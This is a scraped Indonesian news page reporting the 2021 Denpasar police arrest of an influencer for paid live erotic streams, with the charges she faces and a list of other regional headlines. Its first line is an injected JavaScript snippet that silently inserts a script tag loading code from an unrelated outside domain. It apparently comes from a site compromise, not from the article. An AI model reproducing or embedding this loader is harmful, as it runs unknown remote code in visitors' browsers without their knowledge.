(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
NASIONAL

Live Konten Erotis, Selebgram RR Raup Rp 50 Juta Per Bulan


KANALKALIMANTAN.COM – Penyidik Polresta Denpasar, Bali, mengungkap kasus pornografi yang dilakukan oleh selebgram berinisial RR (32) melalui aplikasi Mango dengan penghasilan mencapai Rp 50 juta per bulannya.

“Kurang lebih 9 bulan pelaku melakukan pekerjaan live di medsos Mango maupun Bigo dimana keuntungan yang diperoleh sekali live bisa mencapai Rp25 sampai 50 juta setiap bulannya,” kata Kapolresta Denpasar Kombes Pol Jansen Avitus Panjaitan saat konferensi pers di Denpasar, Bali, Senin (20/9/2021).

Ia mengatakan, motif pelaku mencari penghasilan melalui aktivitas tersebut karena didorong faktor ekonomi. Kapolresta Denpasar menyebut pelaku juga mengakui perbuatannya yang telah mempertontonkan aurat melalui siaran langsung pada aplikasi Mango.

Selain itu, pelaku memiliki akun atau ID pada aplikasi Mango dan Bigo dengan nama Kuda Poni alias Bintang Live untuk mencari penghasilan atau keuntungan setiap harinya.

 

 

Baca juga: Catat Tanggalnya! Festival Kopi Meratus 2021 “Save Kopi Save Meratus”

“Pelaku tidak menerima BO (Booking Order) di luar walaupun banyak yang minta saat pelaku live di medsos Mango dan Bigo. Pelaku hanya melakukan live pornografi dengan mempertontonkan aurat saja di aplikasi tersebut,” katanya.

Adapun jumlah penonton setiap kali pelaku siaran langsung mencapai ribuan penonton. Selanjutnya pihak kepolisian akan memeriksa dan mengembangkan termasuk ID nya keterlibatan sejauh mana kegiatan live nya ini.

Sebelumnya, pelaku bekerja di tempat karaoke namun karena situasi pandemi ini sudah tidak lagi bekerja. Kapolresta mengatakan kalau pelaku sudah empat tahun tinggal di Bali.

“Iya, penghasilannya berbeda ketika yang bersangkutan ini bekerja di tempat karaoke dibandingkan dari hasil live ini,” katanya.
Pelaku ditangkap dalam sebuah Apartemen Kubu Mawar Residence yang beralamat di Jalan Taman Pancing Denpasar Selatan, pada hari Jumat tanggal 17 September 2021 pukul 02.00 Wita.

Atas perbuatannya, pelaku dikenakan Pasal 4 ayat (1) UU No 44 Tahun 2008 tentang pornorafi dan atau pasal 45 ayat (1) UU No 19 Tahun 2016 tentang perubahan atas UU No 11 Tahun 2008 tentang ITE diancam dengan pidana penjara paling lama 12 tahun. (Sumber Antara/Suara.com)

Editor : kk


Risa

Recent Posts

Liburan Berujung Maut, Dua Santri Tenggelam di Pantai Jorong

KANALKALIMANTAN.COM, PELAIHARI - Nasib tragis dialami rombongan santri yang sedang melakukan libur akhir tahun di… Read More

2 jam ago

Dirjen Ketenagalistrikan Kementerian ESDM ke Balikpapan, Pastikan Kesiapan PLN Jelang Nataru

KANALKALIMANTAN.COM, BALIKPAPAN - PT PLN (Persero) Unit Induk Penyaluran dan Pusat Pengatur Beban (UIP3B) Kalimantan… Read More

14 jam ago

Cara Menonaktifkan Aksesibilitas di Smartphone, Akses Mobile Banking BRImo Jadi Makin Nyaman

KANALKALIMANTAN.COM - Fitur Accessibility pada perangkat smartphone adalah fitur yang penting untuk seseorang yang memiliki… Read More

16 jam ago

Ide Fresh Bearly Marketing Membranding Bisnismu Lebih Profesional

KANALKALIMANTAN.COM - Kamu pernah dengar istilah "brand itu nyawa bisnis"? Di era digital ini, pernyataan… Read More

17 jam ago

Curah Hujan Tinggi, Waspada Pilih Lokasi Libur Nataru di Kalsel

KANALKALIMANTAN.COM, BANJARBARU - Puncak musim hujan sudah memasuki sejumlah wilayah Kalimantan Selatan (Kalsel) bertepatan pada… Read More

18 jam ago

Libur Nataru, Polres Banjarbaru Buka Penitipan Kendaraan Bermotor

KANALKALIMANTAN.COM, BANJARBARU - Bagi warga Kota Banjarbaru yang akan meninggalkan rumah pada perayaan libur Natal… Read More

2 hari ago

This website uses cookies.